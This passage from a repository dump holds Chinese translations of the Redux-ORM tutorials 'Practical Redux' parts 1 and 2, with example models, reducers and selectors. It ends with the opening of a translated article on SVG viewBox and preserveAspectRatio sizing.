的细节和统计](https://sourceforge.net/p/mekhq/screenshot/Screen%20Shot%202012-09-25%20at%2012.23.30%20PM.png)\n\n我当然**不**是想严格地重构一个 MekHQ，但是它（ MekHQ ）应该作为灵感和想法的源泉，我的例子将以它为基础而构建。\n\n最初的两篇文章将讨论的是使用 Redux-ORM 库来帮助管理范式化状态的方法。这些文章里，我希望讨论到如何管理「草稿」数据（在编辑条目、建立树视图、表单输入或者其他情况下产生的数据）的方法。同时，我也计划着讨论一些不专属于 Redux 的话题。\n\n如果你有回馈的话，我会很欢迎，不论是在评论里，在 Twitter 上，在 Reactiflux 里，或者是别处！\n"
  },
  {
    "path": "TODO/practical-redux-part-1-redux-orm-basics.md",
    "content": "> * 原文地址：[Practical Redux, Part 1: Redux-ORM Basics](http://blog.isquaredsoftware.com/2016/10/practical-redux-part-1-redux-orm-basics/)\n* 原文作者：[Mark Erikson](https://twitter.com/acemarke)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[luoyaqifei](http://www.zengmingxia.com)\n* 校对者：[richardo2016](https://github.com/richardo2016)，[malcolmyu](https://github.com/malcolmyu)\n\n# 实践 Redux，第 1 部分： Redux-ORM 基础\n\n\n\n\n**使用 Redux-ORM 来帮助你管理范式化 state 的有用技术，第 1 部分：\nRedux-ORM 使用场景以及基础的使用**\n\n#### 系列目录\n*   **[第 0 部分：系列简介](https://github.com/xitu/gold-miner/blob/master/TODO/practical-redux-part-0-introduction.md)**\n*   **第 1 部分：Redux-ORM 基础**\n*   **[第 2 部分：Redux-ORM 概念和技术](https://github.com/xitu/gold-miner/blob/master/TODO/practical-redux-part-2-redux-orm-concepts-and-techniques.md)**\n\n## 简介\n\n在过去的一年里，我成为了一个名叫 **[Redux-ORM](https://github.com/tommikaikkonen/redux-orm)** 库的大粉丝，这个库是 Tommi Kaikkonen 写的。它帮助我解决了一些对很多 Redux 应用来说常见的使用场景，尤其是关于管理你的 store 中的范式化、关系型数据。我在自己的应用中用了很多，并且总结出一些实践中很有用的技术和方法。希望你能觉得这些能给你的应用提供帮助。\n\n这第一篇文章将谈论**为什么你可能想要使用Redux-ORM和使用基础**。在第二部分，我们将谈论**当你使用 Redux-ORM 时你应该知道的特定概念，我是怎么将它们用在我自己的应用中的**。\n\n> 注意：本文中的示例代码是为了展示常规概念和工作流使用的，大概不会在实际中应用。稍后**请参考 [系列介绍](http://blog.isquaredsoftware.com/2016/10/practical-redux-part-0-introduction/)** 获得关于在工作示例应用中展示这些想法的示例场景和计划的更多信息...\n\n## 为什么要用 Redux-ORM？\n\n客户端应用经常需要处理原本嵌套或相关的数据。对于 Redux 应用来说，标准的建议是 [将数据用「范式化」的形式存储](http://redux.js.org/docs/faq/OrganizingState.html#organizing-state-nested-data)。对 Redux 应用而言，这意味着将你的 store 部分组织得像一组数据库表。每种你想存储的数据项类型都会获取到一个对象用作索引表，将数据项的 ID 映射到数据记录。因为这些对象没有顺序的概念，所以另需一个数据项的数组来指明顺序。\n\n> **注意**：如果需要更多的 Redux 范式化信息，请看 Redux 文档的 [Structuring Reducers](http://redux.js.org/docs/recipes/StructuringReducers.html) 部分。\n\n因为数据总是从服务器端以嵌套的形式拿到，它需要被转换成范式化的形式，以便于被加入 store 中。对于这个问题，典型的做法是使用 [Normalizr](https://github.com/paularmstrong/normalizr) 库。你可以定义模版对象和它们之间的联系，将根模式 （schema） 和一些嵌套数据传入 Normalizr，它将返回你一个范式化版本的数据，以便你将它融入你的 state 中。\n\n然而， Normalizr 其实只用来对输入数据进行一次性处理，当范式化数据在你的 store 中时，它就无能为力了。比方说，它并没有将数据去范式化、根据 ID 来查找相关条目或是帮助应用数据更新这些功能。有一些其它的库可以帮忙，比如 [Denormalizr](https://github.com/gpbl/denormalizr)，但是肯定还是需要一些能让这些步骤更加容易操作的工具。\n\n幸运的是，有这样的工具存在：**Redux-ORM**。让我们看看它是怎么使用的，以及它怎么能让管理 store 中的范式化数据更简单的吧。\n\n## 使用基础\n\nRedux-ORM 有出色的文档：主要的 [Redux-ORM README](https://github.com/tommikaikkonen/redux-orm)，[Redux-ORM 入门教程](https://github.com/tommikaikkonen/redux-orm-primer)，[API 文档](http://tommikaikkonen.github.io/redux-orm/index.html) 将基础覆盖得很全面，但是这里还是做一个简单的概述。\n\n### 定义模型类 （Model Classes）\n\n首先，你需要确定你的不同数据类型，以及它们是怎样互相关联的（用数据库的术语）。然后，声明 ES6 的类，这些类继承 （extend） 自 Redux-ORM 的 「Model」 类。类似于其它 Redux 应用里的文件类型，对于这些声明的生存地点没有特定的需求，但是你可能想要把它们放入你项目中的某个 `models.js` 文件里，或者是某个 `/models` 文件夹里。\n\n作为声明的一部分，在类里添加一个静态的 `field` 属性，该属性使用 Redux-ORM 的关系操作符来定义这个类拥有的关系：\n\n    import {Model, fk, oneToOne, many} from \"redux-orm\";\n\n    export class Pilot extends Model{}\n    Pilot.modelName = \"Pilot\";\n    Pilot.fields = {\n      mech : fk(\"Battlemech\"),\n      lance : oneToOne(\"Lance\")\n    };\n\n    export class Battlemech extends Model{}\n    Battlemech.modelName = \"Battlemech\";\n    Battlemech.fields = {\n        pilot : fk(\"Pilot\"),\n        lance : oneToOne(\"Lance\"),\n    };\n\n    export class Lance extends Model{}\n    Lance.modelName = \"Lance\";\n    Lance.fields = {\n        mechs : many(\"Battlemech\"),\n        pilots : many(\"Pilot\")\n    }\n\n这些定义并不需要声明每个类拥有的特定属性——只需要声明它们与其它类的关系。\n\n### 创建 Schema Instance（模式实例）\n\n当你定义完你的模型后，你需要创建一个 Redux-ORM 模式类的实例，并将模型类传入它的 `register` 方法。这个模式实例在你的应用里是单例的：\n\n    import {Schema} from \"redux-orm\";\n    import {Pilot, Battlemech, Lance} from \"./models\";\n\n    const schema = new Schema();\n    schema.register(Pilot, Battlemech, Lance);\n    export default schema;\n\n### 设置 Store 和 Reducers\n\n然后，你需要决定怎么把 Redux-ORM 整合进你的 reducer 结构里。文档推荐你将 reducer 函数定义在你的模型类里，然后调用 `schema.reducer()` 并使用 `combineReducers`（大概以 `orm` 为键名）将返回的函数加到你的根 reducer 里。这种做法看起来很像这样：\n\n    // Pilot.js\n    class Pilot extends Model {\n        static reducer(state, action, Pilot, session) {\n            case \"PILOT_CREATE\": {\n                Pilot.create(action.payload.pilotDetails);\n                break;\n            }\n        }\n    }\n\n    // rootReducer.js\n    import {combineReducers} from \"redux\";\n    import schema from \"models/schema\";\n\n    const rootReducer = combineReducers({\n        orm : schema.reducer()\n    });\n    export default rootReducer;\n\n**我个人有一些不同的做法**。我的 reducer 的主要逻辑更加通用，不是针对特定类的，所以我选择为这段数据写我自己的片段 reducer，只把 Redux-ORM 当作辅助工具。基本的做法看起来如下：\n\n    // entitiesReducer.js\n    import schema from \"models/schema\";\n\n    // 给我们一些拥有正确结构的数据「表」\n    const initialState = schema.getDefaultState();\n\n    export default function entitiesReducer(state = initialState, action) {\n        switch(action.type) {\n            case \"PILOT_CREATE\": {\n                const session = schema.from(state);\n                const {Pilot} = session;\n\n                // 在 Redux-ORM 内部的 action 队列中加入 `creation` action\n                const pilot = Pilot.create(action.payload.pilotDetails);\n\n                // 应用队列中的 actions\n                // 并返回更新后的「表」结构，其所有的更新都不可变式处理了\n                return session.reduce();            \n            }    \n            // 其它实际 action 分支都在这里\n            default : return state;\n        }\n    }\n\n    // rootReducer.js\n    import {combineReducers} from \"redux\";\n    import entitiesReducer from \"./entitiesReducer\";\n\n    const rootReducer = combineReducers({\n        entities: entitiesReducer\n    });\n\n    export default rootReducer;\n\n### 选择数据\n\n最后，模式 （schema） 可以被用作从选择器和 `mapState` 函数中查找数据和关系：\n\n    import React, {Component} from \"react\";\n    import schema from \"./schema\";\n    import {selectEntities} from \"./selectors\";\n\n    export function mapState(state, ownProps) {\n        // 基于我们的 entities 片段「表」，创建一个 Redux-ORM 的 Session 实例\n        const entities = selectEntities(state);\n        const session = schema.from(entities);\n        const {Pilot} = session;\n\n        const pilotModel = Pilot.withId(ownProps.pilotId);\n\n        // 取出对 store 中实际底层数据的引用\n        const pilot = pilotModel.ref;    \n\n        // 解除一段关联的引用，获得其实际对象\n        const battlemech = pilotModel.mech.ref;\n\n        // 解除另一关联的引用，从该模型中读取字段\n        const lanceName = pilotModel.lance.name;\n\n        return {pilot, battlemech, lanceName};\n    }\n\n    export class PilotAndMechDetails extends Component { ....... }\n\n    export default connect(mapState)(PilotAndMechDetails);\n\n## Redux-ORM 和惯用的 Redux\n\n人们创建过许多插件库，试图在 Redux 上放一个类似于面向对象编程 （OOP） 层，正如我的 [Redux 插件目录](https://github.com/markerikson/redux-ecosystem-links) 里 [“Variations” page](https://github.com/markerikson/redux-ecosystem-links/blob/master/variations.md) 展示的那样。我曾多次指出 [Redux 是专注于函数式编程原则的](https://www.reddit.com/r/reactjs/comments/518qdr/anyone_have_experience_with_jumpsuit/d7arb9g/?context=3)，以及 [在 Redux 之上的 OOP 封装并不常用](https://news.ycombinator.com/item?id=11833301)。所以，出于这些理由，我经常反对大家使用这种类型的库。你可能会问我为什么我推荐使用 Redux-ORM，它跟 Jumpsuit 或是 Radical 这些库有什么区别呢？\n\n大部分我见到的 OOP 封装都通过定义 action creator 作为类的方法，试图将东西抽象出来，并且经常结束于忽视多个 reducers 可以响应一个特定的 action（甚至将它变成不可能的）。**它们将 Redux 当作一个需要被隐藏起来的东西**，并扔掉了很多 Redux 里很吸引人的概念。\n\n另一方面，**Redux-ORM 并不试着隐藏 Redux**。它不假装 action 常量不存在，或者 action 和 reducer 总是 1 : 1 的对应关系。它最终只是在你可能更想要自己写的一些地方提供了一个抽象层：对规范化数据的 CRUD 操作。它使我能够在概念层面少考虑一些「我需要遵从哪些特定的步骤来适当地更新或者取得数据？」，多考虑一些如何操作我的数据这类的问题。\n\n## 最终思考\n\nRedux-ORM 已经变成了我在写 Redux 应用时的利器。我工作相关的数据都是高度嵌套和关系型的，Redux-ORM 完美适合我的使用情况。尽管它还没有被标为版本 1.0，但自从它出现以来，API 一直都很一致且稳定，并且 Tommi Kaikkonen 对于我提的 issue 都有很好的回应。这个库目前的文档十分有意义（包括教程和 API 文档），这也是一个大大的加分项。\n\n总之， **我强烈建议你在任何需要处理范式化嵌套/相关数据的 Redux 应用里使用 Redux-ORM**。它不会神奇地将你从不得不思考如何管理数据的苦恼中解救出来，但是它**会**让你更容易处理这些。\n"
  },
  {
    "path": "TODO/practical-redux-part-2-redux-orm-concepts-and-techniques.md",
    "content": "> * 原文地址：[Practical Redux, Part 2: Redux-ORM Concepts and Techniques](http://blog.isquaredsoftware.com/2016/10/practical-redux-part-2-redux-orm-concepts-and-techniques/)\n* 原文作者：[Mark Erikson](https://twitter.com/acemarke)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[luoyaqifei](http://www.zengmingxia.com)\n* 校对者：[richardo2016](https://github.com/richardo2016)，[markzhai](https://github.com/markzhai)\n\n# 实践 Redux，第 2 部分：Redux-ORM 的概念和技术\n\n\n\n\n**使用 Redux-ORM 来帮助你管理范式化 state 的有用技术，第 2 部分:  \n我是怎么用 Redux-ORM 的深入实例**\n\n#### 系列目录\n*   **[第 0 部分：系列简介](https://github.com/xitu/gold-miner/blob/master/TODO/practical-redux-part-0-introduction.md)**\n*   **[第 1 部分：Redux-ORM 基础](https://github.com/xitu/gold-miner/blob/master/TODO/practical-redux-part-1-redux-orm-basics.md)**\n*   **第 2 部分：Redux-ORM 概念和技术**\n\n接着上一部分的 「Redux-ORM 是什么」和「为什么你想要用它」，我们现在要谈论的是 **Redux-ORM 的核心概念和我实际上是怎样在自己的应用中使用它的**。\n\n> 注意：本文中的用例代码是为了展示常规概念和工作流使用的，很可能不会完全跑起来。稍后**请参考 [系列介绍](https://github.com/xitu/gold-miner/blob/master/TODO/practical-redux-part-0-introduction.md)** 获得关于在工作例子应用中展示这些想法的用例场景和计划的更多信息。\n\n## Redux-ORM 核心概念\n\nRedux-ORM 是一个作用在你的 Redux Store 里的范式化数据上的非常有用的抽象层。在使用它的时候，有一些关键的概念需要理解：\n\n### 会话（Sessions）\n\nSession 类用来和底层的数据集进行交互。如果你使用 `schema.reducer()` 生成的 reducer，Redux-ORM 将为你创建一个内部的 Session 实例。或者，你也可以通过调用 `schema.from(entities)`（创建的 Session 将不变式地进行更新），或者 `schema.withMutations(entities)`（创建的 Session 将直接改变提供的数据）来创建 Session 实例。\n\n当 Session 实例从源数据创建后，Redux-ORM 创建 Schema 中可用的 Model 类型的临时子类，将它们「绑定」到这个 session，并将这些子类暴露为 Session 实例上的字段。这意味着**你应当总是从 Session 实例中提取你要用的 Model 类并和它们交互**，而不是使用你可能直接从模块层导入的版本。如果你将你的 reducer 作为你的 Model 类的一部分写入的话，Redux-ORM 将当前类的绑定版本作为第三个参数传入，将目前的 Session 实例作为第四个参数传入。\n\n### 模型（Models）\n\nSession 返回的 Model 实例只是 **store 中的 JavaScript 字面量的某些方面**。当请求 Model 实例时，Redux-ORM 根据底层对象的键，在 Model 实例上产生属性字段，以及声明的关联。这些属性字段定义了封装实际行为的 getter 和 setter。根据不同的字段，getter 会返回底层对象的纯值，或者对于单个关联的新 Model 实例，或者对于集合关联的 QuerySet 实例。底层对象可以直接用 `someModelInstance.ref` 来访问。\n\n对于属性和 getter 的使用也意味着**直到你真正访问了那些属性以后关联才非范式化**。所以，即使一个实体有很多的关联，也不应该有任何额外的花费放在得到这个实体的一个 Model 实例上。\n\n在内部，Redux-ORM 使用了一个 action 队列，将这些 action 像 mini-Redux（在 mini-Redux 里每个 action 被用来更新它内部 reducer 风格的 state） 那样应用。例如，执行 `const pilot = Pilot.create(attributes); pilot.name = \"Jaime Wolf\";` 会把一个 `Create` action 和一个 `UPDATE` action 放入队列。**直到你调用了 session 或者 model 上适当的方法后，这两个 action 才会被应用**，比如 `session.reduce()`。有一个例外：如果 session 用 `schema.withMutations(entities)` 创建，它**将**即刻直接应用所有更新到被影响的对象上。在其他情况下，**所有的更新被放入队列，然后按顺序不变式地被应用，产生最终结果**。\n\n### 管理关联\n\nRedux-ORM 以「QuerySet」类作为管理数据集的抽象。一个 QuerySet 知道它相连的 Model 类型是什么，保存了一个 ID 列表。诸如 `filter()` 这样的操作返回一个带有另外的内部 ID 列表的新 QuerySet 实例。QuerySet 有一个内部的标志，指示着它们究竟该参考纯对象，还是参考相应的 Model 实例。它将决定，在查询流程中使用属性 `withModels` 还是属性 `withRefs`，比如 `this.mechs.withModels.map(mechModel => mechModel.name)`。\n\n对于 `many` 类型的关联，Redux-ORM 会自动生成「穿越模型」类，为关联中的两个条目存储它们的 ID。比如，一个拥有字段 `pilots : many(\"Pilot\")` 的 `Lance` 会生成一个 `LancePilot` 类和表。现在有一个还开着的 PR（Pull Request）允许你定制这些穿越模型，来更好地服务于这种关联下的条目排序之类的情形。\n\n### 同步\n\n理解 Redux-ORM **并没有** 任何与服务器同步数据（比如 Backbone.Model 或 Ember Data 里包含的方法）的能力这一点很重要。它**只是**管理本地存储成纯 JS 数据的关联的库。（实际上，尽管它名字里有 Redux，它甚至完全不依赖于 Redux。）你需要自己负责处理数据同步的问题。\n\n## 典型用法\n\n我优先将 Redux-ORM 作为特定的「超级选择器」和「超级不变更新」工具使用。这意味着我将它和我自己的选择器函数，形实替换程序（thunk），reducer 和 `mapState` 函数一起使用。下面有一些我的实践。\n\n### 实体（Entity）选取\n\n因为我在我的整个应用中一致性地使用 Schema 单例实例，所以我创建了一个选择器，封装了提取当前 `entities` 片段和返回一个用这段数据初始化的 Session 实例的操作：\n\n    import {createSelector} from \"reselect\";\n    import schema from \"./schema\";\n\n    export const selectEntities = state => state.entities;\n\n    export const getEntitiesSession = createSelector(\n        selectEntities,\n        entities => schema.from(entities),\n    );\n\n利用这个选择器，我可以获取一个 `mapState` 函数内部的 Session 实例，并且在必要的时候，使用这个组件查询数据片段。\n\n这样做有很多好处。尤其是，因为很多不同的 `mapState` 函数可能会连续地试图进行数据查找，对于每个 store 更新只有一个 Session 实例被创建出来，所以这会有一些性能优化的问题。Redux-ORM 提供了一个 `schema.createSelector()` 函数来创建优化的选择器，能够追踪那些被访问的模型，但是我还没有实际上尝试这个。我可能之后会研究下它，当我在我自己的应用上做一些性能/优化步骤时。\n\n总之，我让我的所有组件都不知道 Redux-ORM 的存在，只将纯数据作为 props 传给我的组件。\n\n### 基于实体（Entity）的 Reducer\n\n多数我的实体相关的 reducer 是基于一个特定的 action 情况下的，而不是基于某个 Model 类下。因为这个，我的一些 reducer 是相当通用的，并且在 action payload 下，接收一个条目类型和一个条目 ID 作为参数。作为例子，以下是一个通用的 reducer，用来更新任何 Model 实例的属性：\n\n    export function updateEntity(state, payload) {\n        const {itemType, itemID, newItemAttributes} = payload;\n\n        const session = schema.from(state);\n        const ModelClass = session[itemType];\n\n        let newState = state;\n\n        if(ModelClass.hasId(itemID)) {\n            const modelInstance = ModelClass.withId(itemID);\n\n            modelInstance.update(newItemAttributes);\n\n            newState = session.reduce();\n        }\n\n        return newState;\n    }\n\n我不是所有的 reducer 都那么通用——有些会结束于特定地引用某些模型类型，以特定的方式。在一些情况下，我会构建一个高层次的功能，通过重新使用这些通用的构建代码块 reducer。\n\n我的 reducer 通常遵循这种模式：从 payload 里提取参数，创建 Session 实例，将更新加入队列，使用 `session.reduce()` 应用更新，然后返回新的 state。不得不承认这有一些冗长，如果我想的话我可以将其进一步抽象，但在我看来，这是值得的，我得到了实际运行中的更新逻辑整体的一致性和简单性。\n\n我也写了一些小的工具来辅助通过模型的类型和 ID 来查找该模型的流程：\n\n    export function getModelByType(session, itemType, itemID) {\n        const modelClass = session[itemType];\n        const model = modelClass.withId(itemID);\n        return model;\n    }\n\n    export function getModelIdentifiers(model) {\n        return {\n            itemID : model.getId(),\n            itemType : model.getClass().modelName,\n        };\n    }\n\n很多我的 action 在它们的 payload 中包含了 `itemType` 和 `itemID` 对。部分原因是我个人习惯于让我的 action 相当轻量，把更多工作尽量放在形实替换程序（thunk）**和** reducer 上，并且我不喜欢盲目地将数据从 action 直接合并到我的 state 里。\n\n我发现我经常需要以一种多步骤方式应用更新。然而，因为 Model 实例是基于字面量的数据集，这并不总是工作得很好。如果我将一些更新放入队列（比如 `someModel.someField = 123`），这种改变在它被应用之前，对 Model 实例都不是「可见」的。因为更新是不变式地被应用的，这种情形就变复杂了。\n\n一种处理这个的方法可能是利用初始数据，创建一个初始的 Session 实例，然后利用更新后的数据，创建第二个 Session 实例：\n\n    const firstSession = schema.from(entities);\n    const {Pilot} = firstSession;\n\n    const pilot = Pilot.withId(pilotId);\n    // 属性更新在这里排队\n    pilot.name = \"Natasha Kerensky\";\n\n    const updatedEntities = firstSession.reduce();\n\n    const secondSession = schema.from(updatedEntities);\n    const {Pilot : Pilot2} = secondSession;\n\n    // 用第二个 session 出来的类，做一些事情\n    // 这些类实际上是在更新后的数据对象上的数据集\n\n虽然这样，我并不是这种做法的支持者。这种做法很难看，并且会造成我在任何时候使用时究竟该选择 Session 和 Model 类中的哪个的混乱。\n\n我仔细查看了 Redux-ORM 的源码，并且注意到一个 Session 实例其实是一个在内部存储为 `this.state` 的对象的封装。因为这个字段是 public 的，我们可以与它进行互动。尤其是，我意识到我可以拿一个已有的 Session 实例，更新它，使得它引用另一个 state 对象，而不用创建第二个 Session 实例：\n\n    const session = schema.from(entities);\n    const {Pilot} = session;\n\n    const pilot = Pilot.withId(pilotId);\n    pilot.name = \"Natasha Kerensky\";\n\n    // 不变式地应用更新，然后将 session 指向更新后的 state 对象\n    session.state = session.reduce();\n\n    // 所有的字段/模型查询现在使用更新后的 state 对象\n\n这种做法允许我实现一些相对复杂的多步数据更新，然而还是保持用一种不变式的方式处理所有的数据。\n\n既然这种过程实际上更改了当前的 Session 实例，我必须特别注意，不使用从 getEntitiesSession() 选择器中返回的「共享的」Session 实例来做这样的更新。如果我在一个 reducer 里需要使用，无论如何我总是创建一个新的 Session。如果我在一个形实替换程序（thunk）中需要使用，我用另一个选择器来为这个任务创建一个单独的 Session 实例：\n\n    export function getUnsharedEntitiesSession(state) {\n        const entities = selectEntities(state);\n        return schema.from(entities);\n    }\n\n## 加入特定行为\n\nRedux-ORM 对于处理范式化数据，提供了一些非常有用的工具，但它只有这么多内置功能。幸运的事，它也是一个很好的构造额外功能的开端。\n\n### 数据的序列化与反序列化\n\n在上篇文章中提到， Normalizr 库是一个关于将从服务器端接收到的数据范式化的事实标准。我发现 Redux-ORM 可以主要被用于构建一个 Normalizr 的替代品。我在我的每个类上加入了静态的 `parse()` 方法，这些方法知道怎样根据关联处理输入的数据：\n\n    class Lance extends Model {\n        static parse(lanceData) {\n            // 因为这是个静态方法，「this」在这里指代类自身。\n            // 在这种情形下，我们在一个绑定在 Session 上的子类中执行代码。\n            const {Pilot, Battlemech, Officer} = this.session;\n\n            // 假设我们的输入数据看起来像这样：\n            // {name, commander : {}, mechs : [], pilots : []}\n\n            let clonedData = {\n               ...lanceData,\n               commander = Officer.parse(clonedData.commander),\n               mechs : lanceData.mechs.map(mech => Battlemech.parse(mech)),\n               pilots : lanceData.pilots.map(pilot => Pilot.parse(pilot))\n            };\n\n            return this.create(clonedData);\n        }\n    }\n\n这个方法可以被形实替换程序（thunk）或 reducer 调用，来帮助处理响应数据，以及将必要的 Redux-ORM 内部的 `CREATE` action 放入队列。如果在 reducer 里被调用，更新可以被直接应用到已有的 state 上。如果在形实替换程序（thunk）里被用到，你可能想将生成的范式化数据放入一个调度 action 内，来合并进 store。\n\n> **注意**: 我自己的数据只是嵌套了，并没有重复。我一度假设这个过程会将重复数据处理得很好，通过将它合并或者类似的操作。然而，一些测试表明，我的假设是错误的。如果一个条目拥有一个已经存在于 state 的 ID，并且这个相同类型和 ID 的 `CREATE` action 已经进入队列，Redux-ORM 会报错。如果两个拥有相同 ID 的 `CREATE` action 在一个队列里，Redux-ORM 会有效地把第一个创建入口扔掉，用第二个来代替。我已经 [提了一个 issue](https://github.com/tommikaikkonen/redux-orm/issues/50) 来讨论理想行为应该是怎么样的。\n\n另一方面，将非范式化的数据版本发送回服务器端通常也是必要的。我对我的模型加入了 `toJSON()` 方法来支持这种需求：\n\n    class Lance extends Model {\n        toJSON() {\n            const data = {\n                // 包括纯数据对象的所有字段\n                ...this.ref,\n                // 和经过序列化的已知模型间关联（relation）\n                commander : this.commander.toJSON(),\n                pilots : this.pilots.withModels.map(pilot => pilot.toJSON()),\n                mechs : this.mechs.withModels.map(mech => mech.toJSON())\n            };\n\n            return data;\n        }\n    }\n\n### 创建与删除\n\n在将新的实体发送到服务器端或添加到 store 之前，我往往需要用一个 action creator 来创建它的初始数据。我仍在思索什么是最好的做法。目前，我添加了 `generate` 方法来帮助封装过程：\n\n    const defaultAttributes = {\n        name : \"Unnamed Lance\",\n    };\n\n    class Lance extends Model {\n        static generate(specifiedAttributes = {}) {\n            const id = generateUUID(\"lance\");\n\n            const mergedAttributes = {\n                ...defaultAttributes,\n                id,\n                ...specifiedAttributes,     \n            }\n\n            return this.create(mergedAttributes);\n        }\n    }\n\n    function createNewLance(name) {\n        return (dispatch, getState) => {\n            const session = getUnsharedEntitiesSession(getState());\n            const {Lance} = session;\n\n            const newLance = Lance.generate({name : \"Command Lance\"});\n            session.state = session.reduce();\n            const itemAttributes = newLance.toJSON();\n\n            dispatch(createEntity(\"Lance\", newLance.getId(), itemAttributes));\n        }\n    }\n\n同时，Redux-ORM 的 「Model.delete」方法不完全级联，所以我在需要的地方实现了一个自定义的「deleteCascade」方法：\n\n    class Lance extends Model {\n        deleteCascade() {\n            this.mechs.withModels.forEach(mechModel => mechModel.deleteCascade());\n            this.pilots.withModels.forEach(pilotModel => pilotModel.deleteCascade());\n            this.delete();\n        }\n    }\n\n我还实现了一些额外的东西，来更好地处理将数据在不同的模型实例版本（比如「当前」版本 V.S. 「正在工作的草稿」版本）间复制来复制去的问题，我将在之后的一篇关于数据编辑方法的文章中谈到。\n\n## 最终思考\n\nRedux-ORM 在 Redux 上层引入了一些额外的概念。如同任何抽象层，它允许你忽略细节，所以你需要理解 Redux 这层究竟发生了什么。也就是说，我发现它真正地让我可以从一个更高的抽象层思考我的数据管理。而且，它的处理关联和简化不变式地更新数据的能力实在是为我省了很多时间，并让我的代码在流程上更加简洁。我对它已经非常满足，等不及看 Tommi Kaikknonen 在未来还会作出怎样的改进。\n\n想要更多的信息链接，包括文档和文章，请看**[第 1 部分： Redux-ORM 基础](https://github.com/xitu/gold-miner/blob/master/TODO/practical-redux-part-1-redux-orm-basics.md)**。\n"
  },
  {
    "path": "TODO/practical-svg.md",
    "content": "> * 原文地址：[Practical SVG](http://alistapart.com/article/practical-svg)\n* 原文作者：[Chris Coyier](http://alistapart.com/author/chriscoyier)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [MAYDAY1993](https://github.com/MAYDAY1993)\n* 校对者： [zhouzihanntu](https://github.com/zhouzihanntu)   [hpoenixf](https://github.com/hpoenixf)\n\n# 嘿，Logo，你应该是这个尺寸的！\n\n可能你想控制任何你放在网上的图片的尺寸，_嗨！就是你！ Logo !你应该是这个大小：_\n\n```\n<img src=\"logo.png\" class=\"logo\" />\n```\n\n```\n.logo {\n  width: 220px;\n  height: 80px;\n}\n```\n\n**下面继续**\n\n并且图片也应该能任意控制大小。\n\n但是如果你正在缩放的元素恰好是 `svg`，结果可能并不是你期待的。定义 `svg` 的尺寸比定义 `img` 复杂一点。说这句不是吓你喔。复杂不是坏事，因为它给你更多的控制并且多了一些有趣的可能性。\n\n当你涉及 SVG 图片的尺寸，记住下面两个概念：\n\n* viewport 就是元素的高度和宽度：即 SVG 图片可见区域的大小。经常直接在 SVG 上或者通过 CSS 设置<var>width</var> 和 <var>height</var>属性。\n* `viewBox` 是 `svg` 的一个属性，来确定坐标系和纵横比。四个值是<var>x</var>, <var>y</var>, <var>width</var>, 和 <var>height</var>。\n\n我们一般这样做：\n```\n<svg width=\"100\" height=\"100\" viewBox=\"0 0 100 100\">\n\n<!-- alternatively: viewBox=\"0, 0 100, 100\" -->\n```\n\n在这种情况下，视图大小和 `viewBox` 完全一致(**Fig 6.1**)。 SVG 将会在它视觉上占据的那个地方展现出来。\n[CodePen Embed](//codepen.io/chriscoyier/embed/adqEmQ?height=265&amp;theme-id=0&amp;slug-hash=adqEmQ&amp;default-tab=html%2Cresult&amp;user=chriscoyier&amp;embed-version=2\")\n\nFig 6.1: viewport 和 `viewBox` 完全一致。这发生在没有设置`svg`的长度或宽度（属性或 CSS 都没有），或者如果你设置了长度和宽度，它们和`viewBox`的纵横比保持一致。\n\n现在我们将宽度和高度翻倍，像这样：\n\n```\n<svg width=\"200\" height=\"200\" viewBox=\"0 0 100 100\">\n```\n\n`svg` 会在 200 * 200 的元素的左上角占据 100 * 100 的区域么？不会， `svg` 内的每个都会在新的更大的空间扩大(**Fig 6.2**)。\n[CodePen Embed](//codepen.io/chriscoyier/embed/VeQyQY?height=265&amp;theme-id=0&amp;slug-hash=VeQyQY&amp;default-tab=html%2Cresult&amp;user=chriscoyier&amp;embed-version=2\")\n\nFig 6.2: viewport 变大而 `viewBox` 保持不变，图片放大来适应 viewport。\n\n正方形的纵横比依然很匹配。这就是为什么将 SVG 内任何地方的数值认为是像素是没用的，因为他们不是像素；他们只是在一个任意的坐标系里的数值。\n\n那么，如果纵横比不匹配怎么办？\n\n```\n<svg width=\"300\" height=\"75\" viewBox=\"0 0 100 100\">\n```\n\n默认情况下，SVG将尽可能大的展现自己，沿着最长的尺寸居中(**Fig 6.3**)。\n[CodePen Embed](//codepen.io/chriscoyier/embed/vLdpdN?height=265&amp;theme-id=0&amp;slug-hash=vLdpdN&amp;default-tab=html%2Cresult&amp;user=chriscoyier&amp;embed-version=2\")\n\nFig 6.3: viewport 变大了，但不再匹配 `viewBox` 的纵横比。所以默认情况下，图片在没被裁剪的情况下尽可能大的展现出来，并在比例大的方向居中。\n\n如果你想重新控制这个行为， `svg` 元素有个属性会起作用！\n## `preserveAspectRatio`\n\n像这样：\n\n```\n<svg preserveAspectRatio=\"xMaxYMax\">\n```\n\n这个值的 `x` 和 `Y` 部分后面是 `Min`, `Mid`, 或 `Max`。 SVG 通常在视图中居中的原因是有个默认的 `xMidYMid` 值。如果你把值改成 `xMaxYMax`，这就告诉了 SVG：确保在水平方向上尽可能靠右，竖直方向上尽可能靠底部。然后在没有裁剪的情况下尽可能的大。\n\n“没有裁剪”部分是 `preserveAspectRatio` 的另一个方面。默认值是 `xMidYMid meet` －注意下 “meet” 。你可以用 `slice` 来代替 `meet` 意思是：完整地填充区域；裁剪也可以。\n\n和 `meet` 组合会有九种可能的对齐的值(**Fig 6.4**)。\n\n![Several images representing rectangle pairs, demonstrating placement variations for smiley face graphics found in each rectangle.](http://alistapart.com/d/practical-svg/Fig6.4preserveAspectRatio.jpg)\n\nFig 6.4: 带 `meet` 值的 `preserveAspectRatio` 的例子。\n\n和 `slice` 组合也有九种可能的对齐的值(**Fig 6.5**)。\n\n\n![Several images representing rectangle pairs, demonstrating placement variations for smiley face graphics found in each rectangle. Each also exceeds the height and width of the rectangle's frame.](http://alistapart.com/d/practical-svg/Fig6.5preserveAspectRatio-slice.jpg)\n\nFig 6.5: 带 `slice` 值的 `preserveAspectRatio` 的例子。\n\n\n为了证实这个想法我做了一个[测试工具](http://bkaprt.com/psvg/06-01/)。关于这个主题 Sara Soueidan 也写了一篇有深度的文章，她很好的研究了[把这个想法关联到 CSS](http://bkaprt.com/psvg/06-02/)。 `background-size` 属性有两个值：`contain` 和 `cover`。`contain` 值的作用是“确保整个图片在屏幕缩小的情况下仍然可见”，就像 `meet`。`cover` 值的作用是“确保图片覆盖整个背景区域，即使图像的某些部分可能被裁减，”，就像 